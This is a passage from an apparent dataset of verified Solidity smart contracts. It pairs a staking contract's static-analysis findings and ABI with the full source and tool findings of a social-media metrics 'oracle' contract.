428, 429]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"PoliceChief.sol": [233, 234, 235, 236]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"PoliceChief.sol": [354, 355, 356, 357]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"PoliceChief.sol": [648, 646, 647]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"PoliceChief.sol": [625, 626, 627]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"PoliceChief.sol": [632, 633, 634]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"PoliceChief.sol": [1091, 1092, 1093]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"PoliceChief.sol": [728, 729, 730, 727]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"PoliceChief.sol": [217, 218, 219]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"PoliceChief.sol": [515, 516, 517, 518, 519, 520, 521, 522, 523, 524, 525]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"PoliceChief.sol": [688, 689, 687]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"PoliceChief.sol": [436, 437, 438, 439]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"PoliceChief.sol": [701, 702, 703]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"PoliceChief.sol": [608, 609, 610]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"PoliceChief.sol": [533, 534, 535, 536, 537, 538, 539, 540, 541, 542, 543, 544, 545, 546, 547, 548, 549, 550, 551, 552, 553, 554, 555, 556, 557, 558, 559, 560, 561, 562, 563, 564, 565]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"PoliceChief.sol": [664, 665, 663]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"PoliceChief.sol": [320, 321, 319]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"PoliceChief.sol": [1592]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"PoliceChief.sol": [1719]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"PoliceChief.sol": [1760]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"PoliceChief.sol": [1614]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PoliceChief.sol": [1180, 1181, 1182, 1183]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PoliceChief.sol": [787, 788, 789, 790]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PoliceChief.sol": [1765, 1766, 1767, 1768, 1769, 1770, 1771, 1772, 1773, 1774, 1775, 1776, 1777]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PoliceChief.sol": [896, 894, 895]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PoliceChief.sol": [993, 994, 995, 996]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PoliceChief.sol": [877, 878, 879]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PoliceChief.sol": [768, 769, 770]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PoliceChief.sol": [976, 977, 974, 975]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PoliceChief.sol": [1544, 1545, 1546, 1547, 1548, 1549, 1550, 1551, 1552, 1553, 1554, 1555, 1556, 1557, 1558, 1559, 1560]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PoliceChief.sol": [800, 796, 797, 798, 799]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PoliceChief.sol": [1664, 1665, 1666, 1667, 1668, 1669, 1670]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PoliceChief.sol": [1139, 1140, 1141, 1142]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PoliceChief.sol": [1794, 1795, 1796, 1797, 1798, 1799, 1800, 1801]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PoliceChief.sol": [901, 902, 903]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PoliceChief.sol": [939, 940, 941, 942]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PoliceChief.sol": [1780, 1781, 1782, 1783, 1784, 1785, 1786, 1787, 1788, 1789, 1790, 1791]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PoliceChief.sol": [1813, 1814, 1815, 1816, 1817, 1818]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PoliceChief.sol": [1645, 1646, 1647, 1648, 1649, 1650, 1651, 1652, 1653, 1654, 1655, 1656, 1657, 1658, 1659, 1660, 1661]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PoliceChief.sol": [928, 929, 930]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [81]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [387]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [1]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [710]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [243]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [1114]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [807]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [737]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [1418]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [464]}}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High", "lines": {"PoliceChief.sol": [1610]}}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High", "lines": {"PoliceChief.sol": [1743]}}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High", "lines": {"PoliceChief.sol": [1394]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"PoliceChief.sol": [869, 870, 871]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"PoliceChief.sol": [877, 878, 879]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [363]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [297]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"PoliceChief.sol": [1654]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"PoliceChief.sol": [1548]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"PoliceChief.sol": [1141]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"PoliceChief.sol": [1668]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"PoliceChief.sol": [1633]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"PoliceChief.sol": [1585]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"PoliceChief.sol": [1613]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"PoliceChief.sol": [1759]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"PoliceChief.sol": [1756]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"PoliceChief.sol": [1573]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"PoliceChief.sol": [1571]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"PoliceChief.sol": [1568]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"PoliceChief.sol": [1742]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"PoliceChief.sol": [1609]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"PoliceChief.sol": [1566]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [1664]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [1804]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [1780]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [1544]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [1192]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [1692]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [1600]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [1692]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [1813]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [1578]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [1645]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [1180]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [1765]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [1620]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [1705]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [1804]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [1139]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [1180]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [1780]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [1544]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [1664]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [1794]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [1645]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [1645]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [1765]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [1733]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [1705]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [1664]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [1544]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"PoliceChief.sol": [722, 723, 724, 725, 726, 727, 728, 729, 730, 731]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"PoliceChief.sol": [1744]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"PoliceChief.sol": [1790]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"PoliceChief.sol": [1798]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"PoliceChief.sol": [1776]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"PoliceChief.sol": [1788]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"PoliceChief.sol": [1654]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"PoliceChief.sol": [1761]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"PoliceChief.sol": [1775]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"PoliceChief.sol": [1668]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"PoliceChief.sol": [1800]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"PoliceChief.sol": [1544]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"PoliceChief.sol": [1289]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"PoliceChief.sol": [1809]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"PoliceChief.sol": [1807]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 789, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1035, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1056, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1174, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1182, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 939, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1581, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1603, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1727, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1338, "severity": 1}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 1139, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 1544, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 1664, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 81, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 243, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 387, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 464, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 710, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 737, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 807, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1114, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1418, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 752, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 841, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 843, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 845, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 847, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 848, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 849, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1529, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 402, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 838, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 1132, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 1469, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 1409, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 266, "severity": 1}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 406, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 410, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 428, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 433, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 438, "severity": 3}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 273, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 1411, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 293, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 293, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 293, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 294, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 294, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 294, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 294, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 297, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 297, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 297, "severity": 1}] | [{"inputs":[{"internalType":"contract NiceToken","name":"_sushi","type":"address"},{"internalType":"address","name":"_devaddr","type":"address"},{"internalType":"uint256","name":"_sushiPerBlock","type":"uint256"},{"internalType":"uint256","name":"_startBlock","type":"uint256"},{"internalType":"uint256","name":"_bonusEndBlock","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":true,"internalType":"uint256","name":"pid","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Deposit","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":true,"internalType":"uint256","name":"pid","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"EmergencyWithdraw","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":true,"internalType":"uint256","name":"pid","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Withdraw","type":"event"},{"inputs":[],"name":"BONUS_MULTIPLIER","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_allocPoint","type":"uint256"},{"internalType":"contract IERC20","name":"_lpToken","type":"address"},{"internalType":"bool","name":"_withUpdate","type":"bool"}],"name":"add","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"bonusEndBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deflationBurnDivisor","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deflationMintDivisor","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_pid","type":"uint256"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"deposit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_devaddr","type":"address"}],"name":"dev","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devaddr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_pid","type":"uint256"}],"name":"emergencyWithdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_from","type":"uint256"},{"internalType":"uint256","name":"_to","type":"uint256"}],"name":"getMultiplier","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"inflationBurnDivisor","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isInflating","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"massUpdatePools","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"niceBalanceAll","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"niceBalancePendingHarvest","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"niceBalanceStaked","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_pid","type":"uint256"},{"internalType":"address","name":"_user","type":"address"}],"name":"pendingSushi","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"poolInfo","outputs":[{"internalType":"contract IERC20","name":"lpToken","type":"address"},{"internalType":"uint256","name":"allocPoint","type":"uint256"},{"internalType":"uint256","name":"lastRewardBlock","type":"uint256"},{"internalType":"uint256","name":"accSushiPerShare","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"poolLength","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_pid","type":"uint256"},{"internalType":"uint256","name":"_allocPoint","type":"uint256"},{"internalType":"bool","name":"_withUpdate","type":"bool"}],"name":"set","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_deflationMintDivisor","type":"uint256"},{"internalType":"uint256","name":"_deflationBurnDivisor","type":"uint256"},{"internalType":"uint256","name":"_inflationBurnDivisor","type":"uint256"}],"name":"setDivisors","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sushi","outputs":[{"internalType":"contract NiceToken","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sushiPerBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalAllocPoint","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"updateIsInflating","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_pid","type":"uint256"}],"name":"updatePool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"address","name":"","type":"address"}],"name":"userInfo","outputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"rewardDebt","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_pid","type":"uint256"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.6.2+commit.bacdbe57 | false | 200 | 00000000000000000000000053f64be99da00fec224eaf9f8ce2012149d2fc880000000000000000000000000a5e5077ecfd098afbfa45e9743330f0a63756cc0000000000000000000000000000000000000000000000000011c37937e080000000000000000000000000000000000000000000000000000000000000a7fca90000000000000000000000000000000000000000000000000000000000000000 | Default | None | false | ipfs://f7175ca91ce7fdbdc6f44d484bea27a4aa0ee5fe0a68a891bce7952672a08bd7 |
||
oracle | 0x797e1a863a83dddb9b53dde9805a7998d93ec080 | Solidity | /**
*Submitted for verification at Etherscan.io on 2020-05-19
*/
pragma solidity ^0.5;
contract owned {
address payable public owner;
constructor () public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner,"only owner method");
_;
}
function transferOwnership(address payable newOwner) onlyOwner public {
owner = newOwner;
}
}
contract limited is owned {
mapping (address => bool) canAsk;
modifier onlyCanAsk {
require(canAsk[msg.sender]);
_;
}
function changeAsk (address a,bool allow) onlyOwner public {
canAsk[a] = allow;
}
}
interface ICampaign {
function update(bytes32 idRequest,uint64 likes,uint64 shares,uint64 views) external returns (bool ok);
function updateBounty(bytes32 idProm,uint256 nbAbos) external returns (bool ok);
}
interface IERC20 {
function transfer(address _to, uint256 _value) external;
}
contract oracle is limited {
struct oracleUnit {
bool granted;
address token;
uint256 fee;
}
mapping (address => oracleUnit) oracleList;
modifier onlyCanAnswer {
require(oracleList[msg.sender].granted || msg.sender == owner,"sender not in whitelist");
_;
}
function changeAnswer (address a,bool allow,address token,uint256 fee) onlyOwner public {
oracleList[a] = oracleUnit(allow,token,fee);
}
// social network ids:
// 01 : facebook;
// 02 : youtube
// 03 : instagram
// 04 : twitter
event AskRequest(bytes32 indexed idRequest, uint8 typeSN, string idPost,string idUser);
event AnswerRequest(bytes32 indexed idRequest, uint64 likes, uint64 shares, uint64 views);
event AskRequestBounty( uint8 typeSN, string idPost,string idUser,bytes32 idProm);
event AnswerRequestBounty(bytes32 indexed idProm,uint256 nbAbos);
function ask (uint8 typeSN,string memory idPost,string memory idUser, bytes32 idRequest) public onlyCanAsk
{
emit AskRequest(idRequest, typeSN, idPost, idUser );
}
function askBounty(uint8 typeSN,string memory idPost,string memory idUser, bytes32 idProm) public onlyCanAsk
{
emit AskRequestBounty( typeSN, idPost, idUser, idProm);
}
function answer(address campaignContract,bytes32 idRequest,uint64 likes,uint64 shares, uint64 views) public onlyOwner {
ICampaign campaign = ICampaign(campaignContract);
campaign.update(idRequest,likes,shares,views);
emit AnswerRequest(idRequest,likes,shares,views);
}
function answerBounty(address campaignContract,bytes32 idProm,uint256 nbAbos) public onlyOwner {
ICampaign campaign = ICampaign(campaignContract);
campaign.updateBounty(idProm,nbAbos);
emit AnswerRequestBounty(idProm,nbAbos);
}
function thirdPartyAnswer(address campaignContract,bytes32 idRequest,uint64 likes,uint64 shares, uint64 views) public onlyCanAnswer {
ICampaign campaign = ICampaign(campaignContract);
campaign.update(idRequest,likes,shares,views);
emit AnswerRequest(idRequest,likes,shares,views);
IERC20 erc20 = IERC20(oracleList[msg.sender].token);
erc20.transfer(msg.sender,oracleList[msg.sender].fee);
}
function oracleFee(address u) public returns ( uint256 f){
return 0;
}
function() external payable {}
function withdraw() onlyOwner public {
owner.transfer(address(this).balance);
}
function transferToken (address token,address to,uint256 val) public onlyOwner {
IERC20 erc20 = IERC20(token);
erc20.transfer(to,val);
}
} | [{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["113", "124", "129"]}, {"defect": "Erroneous_constructor_name", "type": "Access_control", "severity": "Medium", "lines": ["51"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["112", "128"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["19"]}] | [{"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"oracle.sol": [99, 100, 101, 102, 103]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"oracle.sol": [66, 67, 68]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"oracle.sol": [106, 107, 108, 109, 110, 111, 112, 113, 114]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"oracle.sol": [35, 36, 37]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"oracle.sol": [96, 97, 93, 94, 95]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"oracle.sol": [83, 84, 85, 86]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"oracle.sol": [19, 20, 21]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"oracle.sol": [128, 129, 130, 127]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"oracle.sol": [123, 124, 125]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"oracle.sol": [88, 89, 90, 91]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"oracle.sol": [116, 117, 118]}}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High", "lines": {"oracle.sol": [48]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"oracle.sol": [5]}}, {"check": "events-access", "impact": "Low", "confidence": "Medium", "lines": {"oracle.sol": [20]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"oracle.sol": [20]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"oracle.sol": [7, 8, 9, 10, 11, 12, 13, 